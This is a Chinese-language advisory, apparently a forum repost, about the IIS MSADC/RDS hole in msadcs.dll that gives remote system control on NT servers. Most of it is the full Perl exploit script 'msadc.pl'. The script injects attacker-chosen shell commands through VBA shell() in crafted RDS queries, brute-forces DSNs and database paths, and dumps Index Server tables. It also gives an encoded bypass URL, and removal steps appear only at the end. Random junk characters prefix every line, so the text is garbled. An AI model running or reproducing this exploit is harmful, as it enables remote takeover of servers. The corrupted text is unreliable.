IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
R OQIw JZ=a 3)x" 涉及程序：
HCifO Microsoft NT server
Vkb&'
rXw+ [0e]zyB+ 描述：
ARu^hz= 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
_?2x Io J=U7m@))Y# 详细：
[ @/[#p 如果你没有时间读详细内容的话，就删除:
HnqZ7%jeN c:\Program Files\Common Files\System\Msadc\msadcs.dll
QrPWS-3~! 有关的安全问题就没有了。
Z{n7z$s* \ca4X{x 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
qwaw\vOA ( )>\D 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
%/MK $ 关于利用ODBC远程漏洞的描述，请参看:
lv ^=g Tni Z!ud http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm }wkBa] *<#&ne 8 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
W^+b gg<. http://www.microsoft.com/security/bulletins/MS99-025faq.asp g}qK$>EPS 8a)EL*LH` 这里不再论述。
c/2OR#$t :({lXGc}4? 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
l 1 wxs@]( [bT@Y:X@` /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
SKfv.9 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
U0N[~yW(t1 |k+&we uY WD?V1:>+ #将下面这段保存为txt文件，然后: "perl -x 文件名"
{U (h]' @xk M|N? #!perl
*j*jA/ #
v}Aw!D v / # MSADC/RDS 'usage' (aka exploit) script
mifYk>J^9 #
$z,bA*j9 # by rain.forest.puppy
r P\ 7C+ #
8m*\"_S{ # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
vo(?[[ # beta test and find errors!
}.gg!V'9w c,~44Z use Socket; use Getopt::Std;
mpF_+M n getopts("e:vd:h:XR", \%args);
=91'.c< 8
[."%rzN print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
E8dp CM#EA"9 if (!defined $args{h} && !defined $args{R}) {
+8Px` v1L print qq~
)Ud S (Bj Usage: msadc.pl -h <host> { -d <delay> -X -v }
uHIWbF<0oo -h <host> = host you want to scan (ip or domain)
h9-Ky@X` -d <seconds> = delay between calls, default 1 second
1!C,pXU#: -X = dump Index Server path table, if available
GJuD
: -v = verbose
[; 2:lbPx -e = external dictionary file for step 5
2Ee1mbZVw8 '_<`dzz Or a -R will resume a command session
a?MtY
EK2 W uQYEbap ~; exit;}
qR<DQTO< 4Qo1f5 >N $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
3# (5Kco if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
Mfr#IzNHN if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
<`*P/V if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
Pb;`'<*U $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
>z
-(4Z if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
11T\2&Q M !l5,ycF if (!defined $args{R}){ $ret = &has_msadc;
Y
fA\#N0;3 die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
<^_?hN8. Uh Tr<(@ print "Please type the NT commandline you want to run (cmd /c assumed):\n"
=k7\g / . "cmd /c ";
Umt ia~x=& $in=<STDIN>; chomp $in;
F.5b| &@ $command="cmd /c " . $in ;
E |;5Z* yj R
O9 if (defined $args{R}) {&load; exit;}
cB}2(`z9
B DOIWhd5: print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
{kH^OZ^(e &try_btcustmr;
Z^6(&Rh I?g__u=n~ print "\nStep 2: Trying to make our own DSN...";
PEt8,,x<" &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
[5*-V^m2 Pj W+V` print "\nStep 3: Trying known DSNs...";
ydqmuZ%2h# &known_dsn;
yN<fmi};c 2\ \ 3< print "\nStep 4: Trying known .mdbs...";
z\8yB`8b^ &known_mdb;
0P40K \g1@A" if (defined $args{e}){
9PqgBq print "\nStep 5: Trying dictionary of DSN names...";
M6*{#Y? &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
}lTZq|;A ^r_lj$:+$ print "Sorry Charley...maybe next time?\n";
X5| /s::u exit;
"5JN Xo,H LZC?383' ##############################################################################
n_n|^4 w Q b't*2c% sub sendraw { # ripped and modded from whisker
%SO%{.}Z f sleep($delay); # it's a DoS on the server! At least on mine...
>-@ U_p my ($pstr)=@_;
t?nc0;Q9,@ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
.e2A*9, die("Socket problems\n");
k
gu[!hD1 if(connect(S,pack "SnA4x8",2,80,$target)){
#H6g& )Z_ select(S); $|=1;
D p*$GQ print $pstr; my @in=<S>;
hJ[mf1je= select(STDOUT); close(S);
{rvbo1t return @in;
!UMo 4}Y } else { die("Can't connect...\n"); }}
v^c<`i ; YZH#5]o8 ##############################################################################
<@e+-$ q|u8CX sub make_header { # make the HTTP request
F%#*U82 my $msadc=<<EOT
+|?|8"Qg POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
+~4bB$6*4) User-Agent: ACTIVEDATA
3IK(f . Host: $ip
SCurO9R N Content-Length: $clen
`B'4"=( Connection: Keep-Alive
)t,{YGY# (H8C\%g: ADCClientVersion:01.06
q qe2,X? Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
MV<!<Qmj {,Bb"0 \ --!ADM!ROX!YOUR!WORLD!
{ x[;5TM Content-Type: application/x-varg
w<Yv`$-` Content-Length: $reqlen
mLg{6qm(q 2Io 6s ' EOT
CQSpPQA ; $msadc=~s/\n/\r\n/g;
Q sg/ V] return $msadc;}
TX23D) CX hV-V eKjZ( ##############################################################################
c q, v1Y< 2$
|]Vj*Zs sub make_req { # make the RDS request
c~^CKgr~R9 my ($switch, $p1, $p2)=@_;
X>Al:?`}N my $req=""; my $t1, $t2, $query, $dsn;
dn Zz A 6 Wpxp\ if ($switch==1){ # this is the btcustmr.mdb query
1~2R^#rm $query="Select * from Customers where City=" . make_shell();
fB~O
|g $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
'qL5$ zG $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
9 Uha2 o wG1 y,u' elsif ($switch==2){ # this is general make table query
bLgL0}=n $query="create table AZZ (B int, C varchar(10))";
@Od^k# $dsn="$p1";}
keLR1qf mn]-rTr elsif ($switch==3){ # this is general exploit table query
l|YT[LR7 $query="select * from AZZ where C=" . make_shell();
v6s\Z\v)Q` $dsn="$p1";}
Y1{B c<tC "S5S|dB c elsif ($switch==4){ # attempt to hork file info from index server
H js } $query="select path from scope()";
^Q0&.hL@ $dsn="Provider=MSIDXS;";}
iF!mV5# bGv* -;* elsif ($switch==5){ # bad query
d%0+i/p $query="select";
qM %O $dsn="$p1";}
3bC+ Mco ,c>N}*6h=W $t1= make_unicode($query);
#(C/Cx54 $t2= make_unicode($dsn);
Z@3l%p6V $req = "\x02\x00\x03\x00";
_%Bz,C8 $req.= "\x08\x00" . pack ("S1", length($t1));
WsR+Np@c $req.= "\x00\x00" . $t1 ;
) Qq'Wp3i $req.= "\x08\x00" . pack ("S1", length($t2));
#EbGL])F} $req.= "\x00\x00" . $t2 ;
#~^btL'dHF $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
845
W>B return $req;}
.WvlaPK ak;6z]f8[ ##############################################################################
Z%}4bJ m9$ a"$c sub make_shell { # this makes the shell() statement
=m7H)z)i*J return "'|shell(\"$command\")|'";}
fW?sYC' fk jeR
B ##############################################################################
2j&v;dmh< !\- WEQrp\ sub make_unicode { # quick little function to convert to unicode
S]^`woD my ($in)=@_; my $out;
3e% nA8? for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
ExVDkt0 return $out;}
A%u_&a}
[dB$U}SEj ##############################################################################
gl{B=N N 1l5J P|x sub rdo_success { # checks for RDO return success (this is kludge)
4 zjs!AK% my (@in) = @_; my $base=content_start(@in);
#(KDjnP[ if($in[$base]=~/multipart\/mixed/){
d(-Ec Y>? return 1 if( $in[$base+10]=~/^\x09\x00/ );}
:@eHX & return 0;}
.@#A|fgv 7I9aG.; ##############################################################################
vD FGd-S xb:&(6\F sub make_dsn { # this makes a DSN for us
x|i_P|Z my @drives=("c","d","e","f");
: g6n,p_# print "\nMaking DSN: ";
\ ?**2{9&) foreach $drive (@drives) {
E5</h"1 print "$drive: ";
6*45Vf my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
oDn|2Sdqd "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
d\]Yk ]r . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
E{E0Z9t7& $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
^7^N}x@ return 0 if $2 eq "404"; # not found/doesn't exist
c!#:E` if($2 eq "200") {
oD9^ID+ foreach $line (@results) {
H[
m <RaG8 return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
@-HG`c ct } return 0;}
/,@p\Ae5 -
e"jw#B ##############################################################################
;G\8jP '
q IIJ4n sub verify_exists {
X5LBE OG my ($page)=@_;
y5r4+2B my @results=sendraw("GET $page HTTP/1.0\n\n");
?W>qUrZ return $results[0];}
I,yC
D7l_ R :X0'zeRr ##############################################################################
^ D%FX!$ a 2 IgC25 sub try_btcustmr {
rf~Y6U?7 my @drives=("c","d","e","f");
&i+ Ce my @dirs=("winnt","winnt35","winnt351","win","windows");
}}v9
`F I$q]. B foreach $dir (@dirs) {
R^?/' dr print "$dir -> "; # fun status so you can see progress
I[)% , jd foreach $drive (@drives) {
KlRr8 G!Z print "$drive: "; # ditto
f+8wl!M+6 $reqlen=length( make_req(1,$drive,$dir) ) - 28;
8>hwK )av $reqlenlen=length( "$reqlen" );
!?c|XdjZ $clen= 206 + $reqlenlen + $reqlen;
[
ol9|sdu ^[:p|U2mA my @results=sendraw(make_header() . make_req(1,$drive,$dir));
nt*Hc1I if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
Zm6{n ' else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
O
T.*pk+<) ;>n,: 355L ##############################################################################
ns6(cJ^a 6DH~dL_",% sub odbc_error {
vZ.x{"n'~ my (@in)=@_; my $base;
^fZ& QK my $base = content_start(@in);
0PlO(" ,a if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
")d`dj\o $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
y UpgoX( 6 $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
}G eSu|m( $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
c%MW\qx return $in[$base+4].$in[$base+5].$in[$base+6];}
?Y@N` S print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
HDF |{ print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
w @{= nD4p $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
v%q0OX>9X" c@8 93<_ ##############################################################################
EM[WK+9>I{ 0tXS3+@n = sub verbose {
#3gp6* R my ($in)=@_;
Y\No4w ^|d return if !$verbose;
O6LS(5j2 print STDOUT "\n$in\n";}
,%M$0poKM !6*" ( ##############################################################################
JsODzw * -8&[D0 sub save {
K1M%!JKh)x my ($p1, $p2, $p3, $p4)=@_;
/w}u3|L$ open(OUT, ">rds.save") || print "Problem saving parameters...\n";
)8$=C#qC[ print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
x8V('` }j close OUT;}
4bYK}o S ~ v|>xqWV ##############################################################################
RO'7\xvn @eKec1< sub load {
k Y-N>E: my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
Yfzl%wc open(IN,"<rds.save") || die("Couldn't open rds.save\n");
j}.\]$J @p=<IN>; close(IN);
!ug8SAOaz/ $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
+ |n*b $target= inet_aton($ip) || die("inet_aton problems");
#_^Lb]jk M print "Resuming to $ip ...";
{Tq_7,8 $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
@1o/0y " if($p[1]==1) {
- "' j7t: $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
Bg x'9p/ $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
s %j_H my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
<7/R,\Wg~ if (rdo_success(@results)){print "Success!\n";}
vqDu (6!2 else { print "failed\n"; verbose(odbc_error(@results));}}
,St#Vla elsif ($p[1]==3){
k@ R Dvn if(run_query("$p[3]")){
PNgY >=Y print "Success!\n";} else { print "failed\n"; }}
yerg=,$_i elsif ($p[1]==4){
%)zodf if(run_query($drvst . "$p[3]")){
p6>Svcc print "Success!\n"; } else { print "failed\n"; }}
Lt?lv2k=L exit;}
+hg3I8q: qkDI] (4 ##############################################################################
.sha& X(
\ AB sub create_table {
>%}C^gu) my ($in)=@_;
AYqX | $reqlen=length( make_req(2,$in,"") ) - 28;
nLbFg0?+t $reqlenlen=length( "$reqlen" );
Xix L R $clen= 206 + $reqlenlen + $reqlen;
eI$oLl@ my @results=sendraw(make_header() . make_req(2,$in,""));
oK 6tTK return 1 if rdo_success(@results);
##,a0s ^ my $temp= odbc_error(@results); verbose($temp);
EH+"~-v)ae return 1 if $temp=~/Table 'AZZ' already exists/;
\=VtHu92= return 0;}
xI #9 `uv2H$ ##############################################################################
u_w#gjiC M8MR oA6F sub known_dsn {
d [@ X% # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
fiK6 @, my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
!,wIQy_e4 "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
9&-dTayIz "banner", "banners", "ads", "ADCDemo", "ADCTest");
sJB;3"~ BRw .]&/ foreach $dSn (@dsns) {
zGb|) A~, print ".";
ePOG}k($/% next if (!is_access("DSN=$dSn"));
@E&J_un if(create_table("DSN=$dSn")){
Ep9nsX* print "$dSn successful\n";
j$M h + 5 if(run_query("DSN=$dSn")){
,;EI h} print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
nHM~ print "Something's borked. Use verbose next time\n";}}} print "\n";}
LA!?H] g;H=6JeG/ ##############################################################################
Mo| ;'+ }~YA5^VQ$ sub is_access {
C8J[Up my ($in)=@_;
vLv@&lMW $reqlen=length( make_req(5,$in,"") ) - 28;
z6KCv (zvB $reqlenlen=length( "$reqlen" );
ax "+0L { $clen= 206 + $reqlenlen + $reqlen;
&C `Gg< my @results=sendraw(make_header() . make_req(5,$in,""));
& fDIQISC my $temp= odbc_error(@results);
Zd3S:),& verbose($temp); return 1 if ($temp=~/Microsoft Access/);
p2hB8zL return 0;}
vk }n,ecl Y4J 3-wK5 ##############################################################################
1vS#K=s b @3>u@ sub run_query {
sfpZc7 my ($in)=@_;
|tKsgj $reqlen=length( make_req(3,$in,"") ) - 28;
5VfyU8)7X $reqlenlen=length( "$reqlen" );
tP:lP#9 $clen= 206 + $reqlenlen + $reqlen;
pd:WEI
, my @results=sendraw(make_header() . make_req(3,$in,""));
~Q Oe## return 1 if rdo_success(@results);
vHgi <@u my $temp= odbc_error(@results); verbose($temp);
0CWvYC%e return 0;}
Df}A^G >X `68@+|# ##############################################################################
I&fozO
(9tX5$e6N sub known_mdb {
9"N~yKa`"K my @drives=("c","d","e","f","g");
&p P;Neh; my @dirs=("winnt","winnt35","winnt351","win","windows");
y8d]9s X{ my $dir, $drive, $mdb;
'3R`lv my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
8f_l}k$Eg zUt' QH7E. # this is sparse, because I don't know of many
4(#'_jS my @sysmdbs=( "\\catroot\\icatalog.mdb",
fJ=0HNmX "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
^3G{|JB!+ "\\system32\\certmdb.mdb",
w_ akn t T "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
%h hfU6[ E 7W K
( my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
({ +!`}GY "\\cfusion\\cfapps\\forums\\forums_.mdb",
1Rt33\1J0 "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
kC:uG0 sW "\\cfusion\\cfapps\\security\\realm_.mdb",
l94b^W}1)W "\\cfusion\\cfapps\\security\\data\\realm.mdb",
ud63f` W]4 "\\cfusion\\database\\cfexamples.mdb",
I~[F|d> "\\cfusion\\database\\cfsnippets.mdb",
\J4L:.`qS "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
<S5 BDk "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
kc2 PoJ "\\cfusion\\brighttiger\\database\\cleam.mdb",
Mhm@R@ "\\cfusion\\database\\smpolicy.mdb",
|+ { )_? "\\cfusion\\database\cypress.mdb",
Z
EQ@IS:Y "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
_Mi5g_ "\\website\\cgi-win\\dbsample.mdb",
%9
SJ
E "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
pXtl
6K% "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
-Sq z5lo ); #these are just
t Cw<Ip foreach $drive (@drives) {
*HU &4E\a foreach $dir (@dirs){
Y`KqEjsC* foreach $mdb (@sysmdbs) {
yyR0]NzYUD print ".";
T! uM+6|Y if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
'"`IC\N^ print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
=WyDp97@+ if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
LhN|1f:9: print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
k3~}7]O) } else { print "Something's borked. Use verbose next time\n"; }}}}}
x-XD.qh7Hr n*o-Lo+Fe. foreach $drive (@drives) {
PoNi "Pv foreach $mdb (@mdbs) {
f}6s
Q5 print ".";
}#3V+X if(create_table($drv . $drive . $dir . $mdb)){
MlcR"gl* print "\n" . $drive . $dir . $mdb . " successful\n";
yZAS# ko}} if(run_query($drv . $drive . $dir . $mdb)){
vjLJi nJ/ print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
@ efh{ } else { print "Something's borked. Use verbose next time\n"; }}}}
AJt+p&I[J }
$ Y;U[_l# #akpXdXs ##############################################################################
eP.wOl 1Vsz4P"O $ sub hork_idx {
!1rlN8w(qr print "\nAttempting to dump Index Server tables...\n";
<5d ~P/, print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
N1Ng^aY0 $reqlen=length( make_req(4,"","") ) - 28;
dW_KU} $reqlenlen=length( "$reqlen" );
D!@Ciw $clen= 206 + $reqlenlen + $reqlen;
?fiIwF) my @results=sendraw2(make_header() . make_req(4,"",""));
A mvEf if (rdo_success(@results)){
6wPaJbRtaM my $max=@results; my $c; my %d;
u&^b~# T for($c=19; $c<$max; $c++){
7z/|\D_{ $results[$c]=~s/\x00//g;
j1^I+j) $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
C\\~E9+ $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
>/g#lS 5 $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
UXeN 8 $d{"$1$2"}="";}
\"qY "V foreach $c (keys %d){ print "$c\n"; }
bG 7O } else {print "Index server doesn't seem to be installed.\n"; }}
<S\jpB |pm7 _[ ##############################################################################
gRr L[z 3Q"<<pi!~ sub dsn_dict {
p
s/A yjk open(IN, "<$args{e}") || die("Can't open external dictionary\n");
^.1)};i while(<IN>){
;l4[%xld $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
;QWIsVz next if (!is_access("DSN=$dSn"));
2K<
8 if(create_table("DSN=$dSn")){
<_h~w } print "$dSn successful\n";
}e !x5g if(run_query("DSN=$dSn")){
x%}^hiO<q print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
.+qQYDE w print "Something's borked. Use verbose next time\n";}}}
C+'/> =>a. print "\n"; close(IN);}
>,TUZ %kv0We fs ##############################################################################
K:!"+q Vc_'hz]Z sub sendraw2 { # ripped and modded from whisker
8?J&`e/ sleep($delay); # it's a DoS on the server! At least on mine...
<nE>XAI_7 my ($pstr)=@_;
wr5AG<%( socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
}0eF~>Df die("Socket problems\n");
3wOZ4<B
if(connect(S,pack "SnA4x8",2,80,$target)){
z,Medw6[ print "Connected. Getting data";
,ek_R)&[o open(OUT,">raw.out"); my @in;
`JOOnTenQ select(S); $|=1; print $pstr;
h^?\xm| while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
.JYaH? close(OUT); select(STDOUT); close(S); return @in;
F=`AY^u0 } else { die("Can't connect...\n"); }}
6""G,"B }x@2]juJ ##############################################################################
Y' yH;M z 9)}[7Mg:C sub content_start { # this will take in the server headers
8JM&(Q%# my (@in)=@_; my $c;
plUZ"Tr for ($c=1;$c<500;$c++) {
"^4_@ oo if($in[$c] =~/^\x0d\x0a/){
s8-<m,* if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
+g` 'J$ else { return $c+1; }}}
6qRx0"qB return -1;} # it should never get here actually
U F?H>Y& ) 0ea+ ib ##############################################################################
PK;*u,V Ans cr sub funky {
9F4Dm*_< my (@in)=@_; my $error=odbc_error(@in);
c\iA 89msp if($error=~/ADO could not find the specified provider/){
fBalTk;G{U print "\nServer returned an ADO miscofiguration message\nAborting.\n";
3{"" 58 exit;}
%<E$ ,w> if($error=~/A Handler is required/){
$]{k+Jf print "\nServer has custom handler filters (they most likely are patched)\n";
+s,Qmmb7) exit;}
4kG,*3 &2 if($error=~/specified Handler has denied Access/){
JQV%fTH S print "\nServer has custom handler filters (they most likely are patched)\n";
$UgA0]q n exit;}}
YQ39 A_e
g .C&ktU4 ##############################################################################
Q k\A
c 2T fz=7h$ sub has_msadc {
IqC]! H0 my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
CACTE
my $base=content_start(@results);
twP,cyR return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
& Rx {.9 return 0;}
:Qumb 30XR
82P/ ########################
[* @5\NWR} O) WC W<p #Yr9AVr}K 解决方案：
v1%uxthW 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
h&`e) a>+ 2、移除web 目录: /msadc
